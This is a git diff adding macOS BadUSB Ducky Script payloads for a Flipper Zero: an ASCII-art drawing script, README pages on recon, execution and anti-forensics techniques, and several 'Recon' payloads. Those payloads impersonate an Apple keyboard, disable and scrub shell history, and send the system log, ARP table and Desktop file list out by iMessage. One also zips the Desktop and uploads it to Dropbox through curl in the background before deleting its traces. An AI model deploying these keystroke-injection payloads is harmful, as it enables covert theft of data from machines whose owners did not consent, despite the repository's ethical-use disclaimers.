+REM BORD
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+REM K
+ALTCHAR 176
+REPEAT 3
+ALTCHAR 219
+REPEAT 3
+REM U
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM R
+ALTCHAR 176
+REPEAT 5
+ALTCHAR 219
+REPEAT 1
+REM O
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM N
+ALTCHAR 176
+REPEAT 5
+ALTCHAR 219
+REPEAT 1
+REM O
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM N
+ALTCHAR 176
+REPEAT 5
+ALTCHAR 219
+REPEAT 2
+REM S
+ALTCHAR 176
+REPEAT 3
+REM BORD
+ALTCHAR 219
+REPEAT 5
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 10 (KURO 4)
+REM BORD
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+REM K
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM U
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM R
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM O
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM N
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+REM O
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM N
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 2
+ALTCHAR 219
+REPEAT 5
+REM S
+ALTCHAR 176
+REPEAT 1
+REM BORD
+ALTCHAR 219
+REPEAT 4
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 11 (KURO END)
+REM BORD
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+REM K
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM U
+ALTCHAR 176
+REPEAT 3
+ALTCHAR 219
+REPEAT 2
+REM R
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM O
+ALTCHAR 176
+REPEAT 3
+ALTCHAR 219
+REPEAT 2
+REM N
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM O
+ALTCHAR 176
+REPEAT 3
+ALTCHAR 219
+REPEAT 2
+REM N
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM S
+ALTCHAR 176
+REPEAT 4
+REM BORD
+ALTCHAR 219
+REPEAT 5
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 12
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 13
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 14 (FLIPPER START)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 31
+ALTCHAR 178
+REPEAT 3
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 9
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 15 (FLIPPER 2)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 31
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 8
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 16 (FLIPPER 3)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 31
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 8
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 17 (O START FLIPPER END)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 12
+STRING /
+REPEAT 9
+ALTCHAR 219
+REPEAT 8
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 8
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 18
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 10
+STRING /
+REPEAT 14
+ALTCHAR 219
+REPEAT 45
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 19 (ZERO START)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 8
+STRING /
+REPEAT 4
+ALTCHAR 219
+REPEAT 7
+STRING /
+REPEAT 4
+ALTCHAR 219
+REPEAT 22
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 20 (ZERO 2)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 7
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 11
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 23
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 21 (ZERO 3)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 6
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 13
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 21
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 3
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 22 (ZERO END)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 5
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 15
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 19
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 2
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+ALTCHAR 219
+ALTCHAR 178
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 23
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 5
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 16
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 40
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 24
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 18
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 40
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 25 (o START)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 18
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 28
+STRING /
+REPEAT 4
+ALTCHAR 219
+REPEAT 6
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 26
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 18
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 26
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 3
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 5
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 27
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 18
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 24
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 6
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 28
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 17
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 24
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 7
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 29
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 5
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 15
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 24
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 8
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 30
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 6
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 13
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 25
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 7
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 5
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 31
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 7
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 10
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 27
+STRING /
+REPEAT 1
+ALTCHAR 219
+REPEAT 3
+STRING /
+REPEAT 2
+ALTCHAR 219
+REPEAT 7
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 32 (o END)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 9
+STRING /
+REPEAT 4
+ALTCHAR 219
+REPEAT 3
+STRING /
+REPEAT 5
+ALTCHAR 219
+REPEAT 30
+STRING /
+REPEAT 4
+ALTCHAR 219
+REPEAT 10
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 33
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 11
+STRING /
+REPEAT 9
+ALTCHAR 219
+REPEAT 49
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 34 (O END MOUTH START)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 14
+STRING /
+REPEAT 4
+ALTCHAR 219
+REPEAT 16
+STRING /
+REPEAT 7
+ALTCHAR 219
+REPEAT 26
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 35 (MOUTH END)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 35
+STRING /
+REPEAT 3
+ALTCHAR 219
+REPEAT 31
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 36
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 37
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 38
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 39
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 75
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 40
+ALTCHAR 219
+REPEAT 81
+ENTER
+HOME
+REM
+REM LINE 41
+ALTCHAR 219
+REPEAT 81
+ENTER
+HOME
+REM
+REM LINE 42 (END)
+STRING
+REPEAT 68
+STRING 20220809 O_oV
\ No newline at end of file
diff --git a/badusb/MacOS-narstybits/Executions Readme.md b/badusb/MacOS-narstybits/Executions Readme.md
new file mode 100644
index 0000000..d558a75
--- /dev/null
+++ b/badusb/MacOS-narstybits/Executions Readme.md
@@ -0,0 +1,88 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
These are just a few examples of tools used for executing security tests. Remember to always use these tools responsibly and in accordance with applicable laws and regulations.
+🔹FFmpeg: A powerful multimedia framework for encoding, decoding, transcoding, and streaming audio and video files. +
🔹VNC (Virtual Network Computing): A remote desktop software that allows you to control and access remote systems over a network. +
🔹socat: A versatile network utility that establishes bidirectional data streams between two endpoints, facilitating various network operations. +
🔹Nikto: A web server scanner that performs comprehensive vulnerability assessments. +
🔹Gobuster: A tool used for directory and DNS busting during reconnaissance. +
🔹Nmap: A powerful network scanning tool used for port scanning and network mapping. +
🔹Duck Toolkit: A more comprehensive guide on using Hak5's Rubber Ducky, including how to write and decode Ducky Scripts.
+🔹Guru99's Load Testing Tutorial: An extensive tutorial that covers the principles and practical aspects of load testing, an essential part of assessing the performance and stability of a system under a particular load.
+🔹Dropbox API Keys Documentation: Comprehensive developer documentation from Dropbox, including detailed instructions on how to generate and manage API keys for application development.
+Welcome to the GOODUSB folder of Narsty's Ducky Script repository!
+ +This folder contains Ducky Scripts that focus on providing utility and helpful functionality to your system.
+ +gtop: A system monitoring dashboard for the terminal. +
htop: An interactive process viewer and system monitor. +
vtop: A graphical activity monitor for the terminal. +
Homebrew: a popular package manager for macOS that allows users to install, update, and manage various software packages and dependencies on their Mac computers. +
👻 Fragmentation: Fragmenting network packets into smaller pieces to bypass network filters and intrusion detection systems. + +
👻 TCP Packet Timing Randomization: Introducing random delays between sending TCP packets to obfuscate packet timing and add an element of randomness to network traffic. + +
👻 Network Padding: Adding additional data or padding to network packets to increase packet size and obfuscate the payload. +
👻 Proxies: Utilizing proxy servers to route network traffic through intermediaries, enhancing privacy and bypassing network restrictions. +
+ +
🔹Also note that running these obfuscation scripts may have different effects depending on your network environment, and it should be used responsibly and within legal boundaries. Additionally, ensure that you have the necessary permissions and authorizations to perform obscurity network testing techniques on your own network. + + +
When working with the scripts, make sure to carefully read the REM (remark) lines. REMs explain the purpose of each line or provide instructions to the user. It's crucial to always read and understand the REMs!
+ +'ID 05ac:021e Apple:Keyboard'
+ This code helps the operating system identify the specific device (in this case, the Flipper Zero) and load the appropriate drivers or configurations, such as for an Apple keyboard.
+ +'echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash'
+ This code enables the 'ignorespace' option for the command history, preventing commands with a leading space from being stored in the shell history. Special thanks to FalsePhilosopher + for helping create this string!
+ +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
+ This code removes the specific command from the history, ensuring minimal traces are left behind and helping maintain discretion and privacy.
++ +⚠️ IMPORTANT DISCLAIMER ⚠️ ++ diff --git a/badusb/MacOS-narstybits/RECON Readme.md b/badusb/MacOS-narstybits/RECON Readme.md new file mode 100644 index 0000000..e3c7cae --- /dev/null +++ b/badusb/MacOS-narstybits/RECON Readme.md @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + [![Image Description](https://imgur.com/MuZDdAV.png)](https://github.com/narstybits/MacOS-DuckyScripts/tree/main/RECON) + ++
❗️ Please exercise caution and responsibility when using the scripts and tools in the "executions," "obscurity," "pranks," "GOODUSB," and "Recon" folders. These scripts are intended for educational and ethical purposes such as penetration testing, security testing, and network testing. However, it is important to note that unauthorized or malicious use of these tools can be illegal and may lead to severe consequences. + +
+❗️ It is your responsibility to ensure that you have appropriate authorization, permissions, and legal rights to perform any security testing activities on computer systems or networks. Always respect the law, adhere to ethical guidelines, and obtain proper consent before conducting any tests or assessments. +
+ ++❗️ Remember, it is crucial to prioritize legal and ethical practices, protect user privacy, and use these tools responsibly to improve security and protect against real-world threats. +
+ ++ ++
Welcome to the Recon Folder!
+ +The Recon Folder is dedicated to the topic of Reconnaissance in cybersecurity. It provides information, resources, and tools related to various aspects of Reconnaissance. + + + Introduction +
+ ++Reconnaissance is the process of gathering information and intelligence about a target, typically used in cybersecurity to assess vulnerabilities and plan targeted attacks. This repository aims to educate and provide resources about the different aspects of Reconnaissance. + +
Types of Reconnaissance +
+ +++
+ ++
+🔹 Passive Reconnaissance: This involves gathering information without directly interacting with the target. It includes techniques like open-source intelligence (OSINT) gathering, analyzing publicly available information, and searching for vulnerabilities. +
🔹 Active Reconnaissance: In this phase, an attacker engages with the target system to gather information actively. It may include techniques like port scanning, vulnerability scanning, and network mapping. +
🔹 Social Engineering: Reconnaissance can also involve social engineering techniques to gather information from individuals or organizations. This includes methods like phishing, pretexting, and impersonation. +
Tools +
+ +++
+ ++
+🔹Nmap: A powerful network scanning tool used for port scanning and network mapping. +
🔹Wireshark: A network protocol analyzer for capturing and analyzing network traffic. +
🔹Nikto: A web server scanner that performs comprehensive vulnerability assessments. +
🔹Gobuster: A tool used for directory and DNS busting during reconnaissance. +
These are just a few examples of tools used in reconnaissance. Remember to always use these tools responsibly and legally, respecting the privacy and security of others.
+ +Resources +
+ ++Here are some additional resources to learn more about Reconnaissance:
+ ++
+ ++
+🔹The Web Application Hacker's Handbook by Dafydd Stuttard and Marcus Pinto +
🔹OSINT Framework: A collection of various tools and resources for OSINT. +
🔹OWASP Top Ten Project: A list of the top ten most critical web application security risks +
+ ++ diff --git a/badusb/MacOS-narstybits/RECON/ macOS System Log to iPhone.txt b/badusb/MacOS-narstybits/RECON/ macOS System Log to iPhone.txt new file mode 100644 index 0000000..d1336b4 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/ macOS System Log to iPhone.txt @@ -0,0 +1,36 @@ +REM This script retrieves the contents of the system log located at /var/log/system.log +REM Then sends the Users System logs to your phone via text message +REM Replace 'ENTER PHONE NUMBER HERE' with your actual Phone number +REM Shoutout to matthewkayne and 0iphor13 for the Phone code + + +REM Title: macOS System Log to iPhone +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +ENTER +DELAY 500 +STRING x=$(cat /var/log/system.log); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"' +DELAY 500 +ENTER +DELAY 5000 +GUI k +DELAY 250 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/Arp table to Iphone.txt b/badusb/MacOS-narstybits/RECON/Arp table to Iphone.txt new file mode 100644 index 0000000..cfa2b94 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Arp table to Iphone.txt @@ -0,0 +1,39 @@ +REM This script uses the "x=$(arp -a)" command to retrieve ARP table information. +REM Then it sends the information to your iPhone. + + +REM Shoutout to matthewkayne and 0iphor13 for the Phone code part. +REM Replace "Phone Number HERE" with your phone number to receive MacOs System information + + +REM Title: Arp table to Iphone +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING x=$(arp -a); osascript -e 'tell application "Messages" to send "'"$x"'" to buddy "Phone Number HERE"' +DELAY 1000 +ENTER +DELAY 5000 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/Copy All JPEG Images.txt b/badusb/MacOS-narstybits/RECON/Copy All JPEG Images.txt new file mode 100644 index 0000000..8852c00 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Copy All JPEG Images.txt @@ -0,0 +1,22 @@ +REM This script opens the terminal. +REM It searches for all JPEG image files located on the entire hard drive. +REM It copies the found JPEG images to a folder named "Images" in the destination of your choice. + +REM Author: Narsty +REM Title: Copy All JPEG Images +REM Target: MacOS +REM Version: 1.0 +REM Category: + + +ID 05ac:021e Apple:Keyboard +DELAY 300 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 1000 +STRING find / -type f -iname "*.jpeg" -exec cp {} ~/Insert Destination here /Images/ \; +DELAY 2000 +ENTER diff --git a/badusb/MacOS-narstybits/RECON/Desktop Data to Dropbox.txt b/badusb/MacOS-narstybits/RECON/Desktop Data to Dropbox.txt new file mode 100644 index 0000000..ea8a7ec --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Desktop Data to Dropbox.txt @@ -0,0 +1,66 @@ +REM This script copies the contents of the Desktop and uploads it to a specific dropbox API +REM Just replace "" with your actual API access token. line 26 +REM Once the desktop contents .zip is uploaded to your dropbox +REM The Backup folder containing the .zip will be deleted and the terminal will be cleared and closed. + +REM Author: Narsty +REM Title: Desktop Data to Dropbox +REM Version 2.0 MacOs +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING mkdir -p ~/Desktop/Backup +ENTER +DELAY 500 +STRING cp -R ~/Desktop/* ~/Desktop/Backup/ +ENTER +DELAY 500 +STRING echo 'cd ~/Desktop/Backup && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh +ENTER +DELAY 2500 +ENTER +STRING chmod +x upload.sh +ENTER +DELAY 500 +STRING nohup ./upload.sh >/dev/null 2>&1 & +ENTER +DELAY 2000 +CTRL C +DELAY 500 +STRING rm ~/Desktop/Backup +DELAY 2000 +STRING rm upload.sh +DELAY 500 +ENTER +DELAY 5000 +STRING rm backup.zip +DELAY 2000 +ENTER +DELAY 500 +STRING CLEAR +DELAY 500 +ENTER +DELAY 500 +GUI w +DELAY 1000 +ENTER +DELAY 500 +ENTER diff --git a/badusb/MacOS-narstybits/RECON/Desktop file list to iPhone.txt b/badusb/MacOS-narstybits/RECON/Desktop file list to iPhone.txt new file mode 100644 index 0000000..42caaa7 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Desktop file list to iPhone.txt @@ -0,0 +1,37 @@ +REM This script gets a list of the files on the Desktop, +REM then it sends the list to your iphone. +REM Shoutout to matthewkayne and 0iphor13 for the Phone code part. + +REM Replace "Phone Number HERE" with your phone number to receive MacOs System information + +REM Title: Desktop file list to iPhone +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 